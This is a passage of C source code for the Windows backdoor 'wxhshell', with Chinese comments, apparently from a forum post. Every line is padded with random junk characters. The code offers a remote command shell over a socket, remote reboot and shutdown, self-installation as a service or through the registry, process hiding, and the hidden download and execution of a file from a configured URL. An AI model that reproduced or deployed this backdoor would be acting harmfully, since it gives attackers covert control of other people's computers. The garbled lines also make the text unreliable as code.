  // 帮助 MXSPD# gN  
  case '?': { gKn"e|A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9.D'!  
    break; YYZE-{ %  
  } cZ%weQa#N)  
  // 安装 *d?,i -Q.+  
  case 'i': { j01#Wq_\fk  
    if(Install()) Rco#?'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;~#rd L  
    else oG3>lqBwD2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k0!b@ c  
    break; Mm+_>   
    } 50Pz+:  
  // 卸载 Q V4{=1A  
  case 'r': { v; &-]ka  
    if(Uninstall()) ixE72bX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pDrM8)r  
    else ORyFE:p$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H '&x4[J:  
    break; >N{K)a  
    } j#Bea ,  
  // 显示 wxhshell 所在路径 +8v^J8q0  
  case 'p': { ^e8~eL+  
    char svExeFile[MAX_PATH]; ` SZ^~O  
    strcpy(svExeFile,"\n\r"); W;eHDQ|  
      strcat(svExeFile,ExeFile); W`C2zbC  
        send(wsh,svExeFile,strlen(svExeFile),0); ^ejU=0+cN  
    break; %Z}A+Rv+*m  
    } XGbtmmQG  
  // 重启 _U|s!60'  
  case 'b': { |Q?IV5%$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w8%<O^wN,  
    if(Boot(REBOOT)) 1|q$Wn:*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<a7TkL4?  
    else { A8dIL5  
    closesocket(wsh); R'uM7,7  
    ExitThread(0); sas;<yh  
    } - b:&ACY  
    break; B9&"/tT  
    } 9~SfZ,(  
  // 关机 A<ur20   
  case 'd': { wFnIM2a,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pp*|EW 1  
    if(Boot(SHUTDOWN)) WIa4!\Ky!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \|L ~#{a  
    else { vxzh|uF  
    closesocket(wsh); TG=) KS  
    ExitThread(0); `lRZQ:27X  
    } F%UyFUz  
    break; N~=p+Ow[H  
    } ts<5%{M(  
  // 获取shell t"cGv32b  
  case 's': { Pe EC|&x  
    CmdShell(wsh); =EA*h_"q9  
    closesocket(wsh); U^-:qT;CX  
    ExitThread(0); MRMsw NQ  
    break; E=_M=5]  
  } Mm;kB/ 1  
  // 退出 Jlj=FA`  
  case 'x': { %oJ_,m_(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U,_uy@fE=?  
    CloseIt(wsh); ps\A\aggML  
    break; _?x*F?5=  
    } b%IRIi&,  
  // 离开 m-xSF]q=<  
  case 'q': { PO%Z.ol9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,edX;`#  
    closesocket(wsh); )hGRq'WA=  
    WSACleanup(); wf)T-]e  
    exit(1); )$p<BLU  
    break; MDZ,a 0?4t  
        } D1}Bn2BM$  
  } Rq-BsMX!A  
  } 9%^q?S/Rv  
66NJ&ac  
  // 提示信息 U p=J&^.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O8%+5l`T!  
} =;#+8w=^  
  } 3xj ?}o  
JL5 )  
  return; dO =fbmK  
} u[5*RTE  
?W:YS82  
// shell模块句柄 hsr,a{B%$  
int CmdShell(SOCKET sock) LmE%`qNg  
{ 2Dgulx5kGZ  
STARTUPINFO si; o?BcpWp  
ZeroMemory(&si,sizeof(si)); :s`~m;Y9?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D[yOFJ~p)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j qfxQ  
PROCESS_INFORMATION ProcessInfo; .Zv@iL5  
char cmdline[]="cmd"; rtd&WkU rD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d:cs8f4>  
  return 0; 2+y<&[A8U  
} ];P$w.0  
1$2'N~`#U  
// 自身启动模式 dtD)VNkBZ  
int StartFromService(void) e"Kg/*Ji1  
{ `a2%U/U  
typedef struct 96x$Xl;  
{ | #Z+s-  
  DWORD ExitStatus; sOQF_X(.x  
  DWORD PebBaseAddress; YC+}H3 3  
  DWORD AffinityMask; cy T,tN  
  DWORD BasePriority; Eh/B[u7T[  
  ULONG UniqueProcessId; Jn!-Wa,  
  ULONG InheritedFromUniqueProcessId; o?%1^6&HE  
}   PROCESS_BASIC_INFORMATION; }q7rR:g  
Y%eFXYk.  
PROCNTQSIP NtQueryInformationProcess; M*li;  
=8:m:Y&|`G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gx,BF#8}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #D4gNQg@R  
^'9:n\SKQ  
  HANDLE             hProcess; !ZlBM{C  
  PROCESS_BASIC_INFORMATION pbi; Jm0o[4  
.;nU" a3'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I.#V/{J  
  if(NULL == hInst ) return 0; n3Uw6gLD  
%zDh07VT\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /=4 m4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2I DN?Mw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )%H@.;cD_r  
k<xPg5  
  if (!NtQueryInformationProcess) return 0; [HNWM/ff7+  
=qG%h5]n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cXP*?N4C f  
  if(!hProcess) return 0; 6xI9 %YDy  
2UqLV^ZY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; euO!vLdX  
4L<h% 'Zn  
  CloseHandle(hProcess); za$v I?ux  
_ zM/>Qa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nM]Sb|1:  
if(hProcess==NULL) return 0; -!w({rP  
qI (<5Wxl  
HMODULE hMod; ;;|S QX  
char procName[255]; phkfPvL{  
unsigned long cbNeeded; ;QZ}$8D6Q  
E&js`24 &  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @q8h'@sX  
Q[sj/  
  CloseHandle(hProcess); i b$2qy  
J4Yu|E<&  
if(strstr(procName,"services")) return 1; // 以服务启动 IXQxjqd^  
i|M^QKvF  
  return 0; // 注册表启动 =Rv!c+?  
} Q)vf>LwC2S  
)o4B^kq  
// 主模块 ^xz*%2@  
int StartWxhshell(LPSTR lpCmdLine) O>FE-0rW}e  
{ S: b-+w|*  
  SOCKET wsl; ]dvNUD   
BOOL val=TRUE; m[l[yUw#  
  int port=0; 8nKZ   
  struct sockaddr_in door; z _A]mJ  
04npY+1 8%  
  if(wscfg.ws_autoins) Install(); J9buf}C[  
xb6y=L  
port=atoi(lpCmdLine); RQg7vv]%  
kF,_o/Jc  
if(port<=0) port=wscfg.ws_port; Cf&.hod  
qGezmkNFm  
  WSADATA data; QY)hMo=|o8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R#8.]  
Z@i"/~B|4\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p1}m_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]|6)'L&]*s  
  door.sin_family = AF_INET; yv),>4_6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M9*#8>  
  door.sin_port = htons(port); q-tm `t*7  
a8Va3Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "~:AsZ"7  
closesocket(wsl); 3k U4?D]  
return 1; qHQWiu% h  
} ^*-6PV#Z  
|:[ [w&R  
  if(listen(wsl,2) == INVALID_SOCKET) { 6$.I>8n  
closesocket(wsl); 1\XR6q:2  
return 1; =uG}pgh0  
} SO!|wag$  
  Wxhshell(wsl); z+~klv 3  
  WSACleanup(); WciL zx/  
Tl/!Dn  
return 0; ;5cN o&  
ZUg ~8VVe  
} Q)lN7oD  
mBtXa|PJ  
// 以NT服务方式启动 ]i)g!J8f-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sFrerv&0  
{ 1Uy'TEk  
DWORD   status = 0; IGKtugU%  
  DWORD   specificError = 0xfffffff; D~^P}_e.  
,JU3 w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q"(*SA+-|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QGq8r>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O~udlVn<6  
  serviceStatus.dwWin32ExitCode     = 0; LtK= nK  
  serviceStatus.dwServiceSpecificExitCode = 0; m ?)k&{I  
  serviceStatus.dwCheckPoint       = 0; @,\J\ rb  
  serviceStatus.dwWaitHint       = 0; ?D?l dg  
(H[ .\O-`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K5"8zF)*  
  if (hServiceStatusHandle==0) return; |qAU\m"Pc  
1 x'H #  
status = GetLastError(); (p?7-~6|:  
  if (status!=NO_ERROR) 3_ P<0%  
{ Yvn*evO4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R?Ou=p .  
    serviceStatus.dwCheckPoint       = 0; >@ :m#d  
    serviceStatus.dwWaitHint       = 0; !yQ%^g`  
    serviceStatus.dwWin32ExitCode     = status; n mN3Z_  
    serviceStatus.dwServiceSpecificExitCode = specificError; (\zxiK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yV4rS6=  
    return; ey/=\@[p  
  } 6eB2mcV  
fvNj5Vq:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #`5>XfbmQ(  
  serviceStatus.dwCheckPoint       = 0; 3!*qB-d  
  serviceStatus.dwWaitHint       = 0; Cx[Cst `  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H'_v  
} nQm (UN  
d"nms\=p  
// 处理NT服务事件,比如:启动、停止 +N>z|T<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *~%QXNn`  
{ :|z.F+-/  
switch(fdwControl) =cwdl7N&I  
{ ~:xR0dqx  
case SERVICE_CONTROL_STOP: `=.A]) >  
  serviceStatus.dwWin32ExitCode = 0; k>V~ iA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .Z9{\tj  
  serviceStatus.dwCheckPoint   = 0; 0Z&ua  
  serviceStatus.dwWaitHint     = 0; j0.E!8Ae{  
  { G^W'mV$xl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t4H*&U  
  } Co^^rd@  
  return; %Mxc"% w  
case SERVICE_CONTROL_PAUSE: m2x=Qv][@c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p`=v$_]?(  
  break; 9Z^\b)x  
case SERVICE_CONTROL_CONTINUE: &VdKL2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QP~Iz*J'  
  break; E 5N9.t h  
case SERVICE_CONTROL_INTERROGATE: M/5+AsT  
  break; }J0HEpn4  
}; @p 2XaqZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NxGSs_7  
} GS@ Zc2JPF  
6=3;(2u[C"  
// 标准应用程序主函数 DPM4v7 S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iQ8T3cC+  
{ szw|`S>o  
ph~ d%/^jI  
// 获取操作系统版本 3DX@ggE2  
OsIsNt=GetOsVer(); 4SNDKFw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3:mZ1+  
/DGEI&}&:u  
  // 从命令行安装 DWXHx  
  if(strpbrk(lpCmdLine,"iI")) Install();  Uip-qWI  
]z#9)i_l3  
  // 下载执行文件 "wj~KbT}&  
if(wscfg.ws_downexe) { H9Dw#.em  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CYn56eRK  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1F]jy  
} N;|:Ks#!  
@@=e-d  
if(!OsIsNt) { 557%^)v  
// 如果时win9x,隐藏进程并且设置为注册表启动 :7L[v9'  
HideProc(); ltg\x8w?c  
StartWxhshell(lpCmdLine); z>A;|iL  
} WCL#3uYk"  
else M}\p/r=  
  if(StartFromService()) K]H [A,  
  // 以服务方式启动 m;oCi }fL  
  StartServiceCtrlDispatcher(DispatchTable); |rL#HG  
else O3En+m~3n)  
  // 普通方式启动 t+t D  
  StartWxhshell(lpCmdLine); qL2Sv(A Z!  
D^<5gRK?  
return 0; )n{9*{Ch  
}
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只看该作者 1 发表于: 2006-10-10
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